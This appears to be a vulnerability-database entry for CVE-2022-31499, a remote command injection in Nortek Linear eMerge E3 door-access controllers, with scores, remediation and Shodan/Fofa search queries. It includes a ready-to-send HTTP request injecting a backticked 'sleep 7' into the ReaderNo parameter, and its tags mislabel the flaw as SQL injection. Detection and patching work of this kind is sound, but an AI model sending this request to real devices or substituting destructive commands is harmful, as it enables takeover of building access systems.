| Title | Nortek Linear eMerge E3-Series <0.32-08f - Remote Command Injection |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. |
| Remediation | Upgrade to a patched version of Nortek Linear eMerge E3-Series (>=0.32-08f) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.938 |
| CVE ID | CVE-2022-31499 |
| CWE ID | CWE-78 |
| Shodan Query | title:"eMerge"http.title:"emerge"http.title:"linear emerge" |
| Fofa Query | title="emerge"title="linear emerge" |
| Tags | time-based-sqli cve cve2022 packetstorm emerge rce nortekcontrol vkev vuln |
Nortek Linear eMerge E3-Series devices before 0.32-08f are susceptible to remote command injection via ReaderNo. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. NOTE: this vulnerability exists because of an incomplete fix for CVE-2019-7256.
GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31499.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31499.pcap
N/AN/A